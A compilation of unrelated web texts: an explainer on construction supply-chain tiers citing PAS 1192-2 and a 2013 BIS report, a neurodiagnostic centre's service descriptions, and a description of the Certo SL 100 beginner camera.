Traditionally, suppliers might have been considered to be organisations contracted to provide physical supplies such as goods, materials, plant, and so on, however, its use is now much broader and PAS 1192-2 (now replaced by BS EN ISO 19650) defines a supplier as any ‘…provider of services or goods either directly to the employer or to another supplier in a supply chain’. The 'supply chain' is the interconnected hierarchy of suppliers.
As construction has become more complex, and suppliers have become more specialist, so the supply chain has extended. On a straight-forward 'traditional' building project, design consultants and the main contractor, sometimes referred to as tier 1 suppliers, work for the employer, and the main contractor may have a limited chain of their own suppliers.
However, on PFI or design and build projects, there may be just one first tier, or principal supplier, with wide range of consultants, sub-consultants, and sub-contractors working for them. The situation becomes more complicated on large projects when the employer has several tier 1 suppliers, all with extended supply chains. This may cascade down to a plethora of suppliers sometimes unknown to management at the top of the chain.
One of the difficulties encountered in the construction industry is that the first and second tier of the supply chain often sign-up to fairly onerous contract conditions but as the chain develops, so the contractual liabilities decrease until suppliers at the end of the chain may not be ‘locked in’ at all.
BIS Research paper No. 145, Supply Chain Analysis into the Construction Industry, A Report for the Construction Industrial Strategy, published by the Department for Business Innovation and Skills in October 2013 assessed five projects ranging in value from £1 million to £25 million.
It defined suppliers as:
|Tier 1||Designers and constructor that have a direct contract with the ultimate client.||NB: PAS 1192-2 suggests that ‘A tier 1 supplier can provide services to the project (for example, development of the project brief, architectural services, engineering services, construction management services), or can provide goods to the project (for example, constructed assets).’|
|Tier 2||Designers, constructors and suppliers with a sub-contract with the tier one contractor.|
|Tier 3||Designers, constructors and suppliers with a sub-contract with a tier two sub-contractor.|
|Tier n||Tier 3 sub-contractors also employ suppliers and sub-contractors, so in many cases there will be a fourth or even fifth tier involved in construction delivery.|
The report suggests that, ‘Tier 1 contractors are typically termed main contractors, and many tier 2 contractors are described as specialist contractors. Labour-only sub-contractors typically operate at the third tier.’
It found that it was not uncommon to have 50 to 70 tier 2 suppliers and sub-contractors and suggested that the, ‘…duplication of multiple layers of profit, overhead and risk could represent a source of non-value added cost and waste.’
In recent years, larger employers offering continuity in construction have taken an increasing interest in establishing relationships beyond direct, first tier suppliers. Framework contracts and partnering agreements have pioneered this approach, encouraging the involvement of selected suppliers at relatively early stages of projects while offering continuity of work. This has led to greater collaboration between lead designers, contractors, specialist designers and specialist suppliers.
- Code for Construction Product Information CCPI.
- Contractor vs supplier.
- Critical service contracts.
- Critical suppliers.
- Fragmentation of the UK construction industry.
- Indirect supplies.
- Integrated supply team.
- Key suppliers.
- Main contractor.
- Named specialist work.
- Nominated supplier.
- PAS 1192-2.
- Point of supply.
- Products v goods v materials.
- Public sector dependent suppliers.
- Reserved contract.
- Service provider.
- Spark framework RM6094.
- Supply chain integration.
- Supply chain management.
- Tier 1 suppliers.
- Tier 2 and tier 3 suppliers
- Types of contractor.
- VAT reverse charge.
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What is Neuro Diagnostics?
Neuro Diagnostics is the field of medicine that aids in the diagnosis of conditions related to the nervous system. A neurodiagnostic center is responsible for performing and analyzing the investigations which aid in this diagnosis. The nervous system in the human body consists of the central nervous system which is the brain and spinal cord, as well as the peripheral nervous system which includes the nerves that run throughout the body. Investigations pertaining to the nervous system may be requested as part of assessing your neurological system and include a number of investigations and diagnostic tools such as EEG (Electroencephalogram which helps monitor the electrical activity of the brain), Neuromonitoring during surgery, Sleep studies or Polysomnograms (which help to monitor the activity of the brain during sleep), and Nerve Conduction studies.
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Services we offer:
Hemas Neuro Diagnostic Centre offers you a wide range of services dedicated to assisting physicians with the diagnosis and treatment of neurological conditions which also include behavioral and psychiatric disorders.
Electromyography/Nerve Conduction Study (EMG/NCV):
An Electromyography (EMG) and Nerve Conduction Study (NCV) are investigations that assess the electrical activity of the nerves, muscles, and the neuromuscular junction. Recording the electrical activity in these regions will help to diagnose conditions that give rise to abnormal electrical activity, resulting in neuromuscular disease.
Neuromuscular diseases which can be diagnosed using an EMG/NCV include:
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- Monitor the activity of the brain while an individual is receiving general anesthesia during surgery.
- A videonystagmography (VNG) is an investigation that helps doctors assess dizziness or balance disorders. The human body maintains balance using the help of our eyes and ears, therefore VNG tests both the inner-ear and central motor functions. At the Hemas Neuro Diagnostic Center, the VNG is carried out using the latest technology available, with infrared video cameras used to record involuntary eye movements called nystagmus. A VNG comprises of three subtests:
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Your next-door music expert is one of the best sources you can consult. An expert in music equipment and instruments can be a great resource for beginners.
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SL 100 is a very simple viewfinder compact camera intended for beginners and children. The camera uses 80-100 ASA 35mm film loaded in SL spool-less cassettes, taking eighteen 24x24 mm pictures on one 60 cm long film. As there's no possibility of winding the film back, two cassettes have always to be used. SL 100 is equipped with a fixed focus f11/45 mm lens, producing sufficiently sharp pictures from approx. 1.3 m to infinity. The lens is designed for black and white film only and is apparently of a single element construction.
A simple guillotine shutter has two speeds only - 1/90 s for sunlight and 1/30 s for cloudy weather, shadow or flash. SL 100 can use both flash bulbs and electronic flashes, synchronized via a hot shoe. The film is transported with a sliding lever on camera's back, coupled with shutter cocking; both the lever and shutter trigger are blocked after taking the last, 18th picture on a film.
An improved version of the SL 100 is the Certo SL 101 color, identical in design, but equipped with a 11/45 mm two element achromat lens; this camera was designed for colour films. The Certo KB 24 in turn was a twin version of the SL 100 designed for film loaded in the standard 135 type cassettes.
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